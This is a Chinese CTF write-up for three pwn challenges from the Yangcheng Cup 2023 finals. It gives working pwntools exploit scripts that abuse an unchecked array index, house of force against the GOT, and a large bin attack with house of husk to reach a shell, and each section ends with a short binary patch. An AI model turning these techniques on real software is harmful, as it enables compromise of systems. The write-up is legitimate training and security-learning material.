羊城杯 2023 决赛 Pwn WriteUp

因为一些原因最后没去成,从其他师傅手中拿到了附件。

但看了一眼觉得好简单

羊城杯 2023 决赛 Pwn WtiteUp

附件相关

Pwn附件分流

Web/Pwn/Misc全部附件

array_index

break

数组没有检查下界,直接往前找地址。找一个栈找一个elf,把you改大一点就改返回地址走后门了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("./pwn")
elf=ELF("./pwn")

def act(opt,id):
    s.sendlineafter(b"> ",str(opt).encode())
    s.sendlineafter(b"account?\n",str(id).encode())

def show(id):
    act(1,id)
    s.recvuntil(b" = ")
    return eval(s.recvline()[:-1])

def edit(id,cont):
    act(2,id)
    s.sendlineafter(b"much?\n",cont)


if __name__=="__main__":
    edit(1,str(0x10000000))
    dat=show(-1)
    elf_base=dat-0x1426
    #success(hex(elf_base))
    dat=show(-2)
    stack_ptr=dat-0x30
    #success(hex(stack_ptr))
    pause()
    edit(-int((stack_ptr-elf_base-0x4010)/8),str(0x10))
    edit(7,str(elf.sym.win+elf_base))
    # press 3 to getshell
    s.interactive()

fix

两处比较改unsigned,jle=>jbe

easy force

break

就一个add函数有用,idx限制0-4,没有限制堆块大小,会给数据起始点。

无论堆块多大都可以输入0x30,众所周知堆块最小可以0x20,把top_chunk.size扬了的能力就有了。

那就house of force,而且还是partial relro,直接打got表。

one_gadget有个rax==0的条件,随便找个函数调用前面给mov eax,0的即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc.so.6")

def add(idx,sz,content):
    s.sendlineafter(b"away\n",b"1")
    s.sendlineafter(b"index?\n",str(idx).encode())
    s.sendlineafter(b"want?\n",str(sz).encode())
    s.sendafter(b"write?\n",content)
    s.recvuntil(b"on ")
    return eval(s.recvuntil(b" ")[:-1])

if __name__=="__main__":
    addr_leak=add(4,0x20000000,b"/bin/sh\x00/flag\x00\x00\x00")
    libc.address=(addr_leak+(0x7ffff7c00000-0x7fffd7bff010))
    success(hex(libc.address))
    pause()
    top_leak=add(0,0x10,b"a"*0x18+b"\xff"*8)
    top_ptr=top_leak+0x10
    success(hex(top_ptr))
    pause()
    target=elf.got.exit
    add(1,target-top_ptr-0x10*2,b"a")
    """
    0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
    """
    add(2,0x20,p64(libc.address+0x45226))
    s.interactive()

fix

mov edx,0x30 => mov edx, [rbp-0x18]

printf but not fmtstr

break

这个傻孩子忘了后门然后被卡了一天,最后搜binsh才发现程序里有,进而想起有后门这回事。

裸UAF糊脸。但只有large bin,libc版本2.36。

3个std指针还不能动。

考虑改filechain上的next自己伪造结构。

那怎么触发IO呢……

update1: husk可以执行任意函数但是控制不了参数

update2: 忘了程序里给了后门,我是傻逼(这个b找了一天的ogg,甚至还试了gets=>system

large bin attackhouse of husk即可,给后门了直接在表里写后门。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context(arch='amd64', os='linux', log_level='info')
s=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc.so.6")

def menu(ch):
    s.sendlineafter(b">",str(ch).encode())

def add(idx,sz):
    menu(1)
    s.sendlineafter(b"Index: ",str(idx).encode())
    s.sendlineafter(b"Size: ",str(sz).encode())

def delete(idx):
    menu(2)
    s.sendlineafter(b"Index: ",str(idx).encode())

def edit(idx,content):
    menu(3)
    s.sendlineafter(b"Index: ",str(idx).encode())
    s.sendafter(b"Content: ",content)

def show(idx,norecv=False):
    menu(4)
    s.sendlineafter(b"Index: ",str(idx).encode())
    if not norecv:
        s.recvuntil(b"Content: ")
        return s.recvline()[:-1]

if __name__=="__main__":
    add(0,0x600)
    add(1,0x508)
    delete(0)
    add(2,0x620)
    fd=u64(show(0).ljust(8,b"\x00"))
    libc.address=fd-(0x7fa646b86130-0x7fa64698f000)
    success(hex(libc.address))
    edit(0,b"a"*8)
    bk=u64(show(0)[-6:].ljust(8,b"\x00"))
    #success(hex(bk))
    edit(0,b"A"*0x10)
    fd_nextsize=u64(show(0).replace(b"A",b"").ljust(8,b"\x00"))
    heap_base=fd_nextsize-0x290
    success(hex(heap_base))
    edit(0,flat([fd,bk]))
    add(0,0x600)
    add(3,0x508)
    
    printf_function_table=libc.address+(0x7f4112fbe980-0x7f4112dc6000)
    printf_arginfo_table=libc.address+(0x7fcb720b5890-0x7fcb71ebe000)
    
    delete(2)
    add(4,0x660)
    edit(2,flat([0,0,0,printf_function_table-0x20]))
    delete(0)
    add(5,0x660) # __printf_function_table now points to chunk #0
    edit(0,flat([fd,heap_base+0xdb0,heap_base+0xdb0,heap_base+0xdb0]))
    edit(2,flat([heap_base+0x290,fd,heap_base+0x290,heap_base+0x290]))
    add(2,0x620)
    add(0,0x600)
    add(6,0x508)
    add(15,0x650)
    
    delete(5)
    add(7,0x680)
    edit(5,flat([0,0,0,printf_arginfo_table-0x20]))
    delete(15)
    add(8,0x680) # __printf_arginfo_table now points to chunk #15
    edit(15,flat([fd+0x10,heap_base+0x1f60,heap_base+0x1f60,heap_base+0x1f60]))
    edit(5,flat([heap_base+0x2ae0,fd+0x10,heap_base+0x2ae0,heap_base+0x2ae0]))
    add(5,0x660)
    add(15,0x650)

    ret=libc.address+0x0000000000023b65+1
    push_rax_ret=libc.address+0x000000000003ad75
    ogg=[0x4e1d0,0x4e1dc,0x4e1f1,0x4e1f9,0x7c742,0x7c74f,0x7c754,0x7c759,0x10619a,0x1061a2,0x1061a7,0x1061b1]
    one_gadget=libc.address+ogg[11]
    edit(0,p64(0)*(ord('s')-2)+p64(0x4011D6))
    edit(15,p64(0)*(ord('s')-2)+p64(0x4011D6))
    
    pause()
    show(0,norecv=True)

    s.interactive()

fix

call _term_proc然后把指针清零再jmp free

0%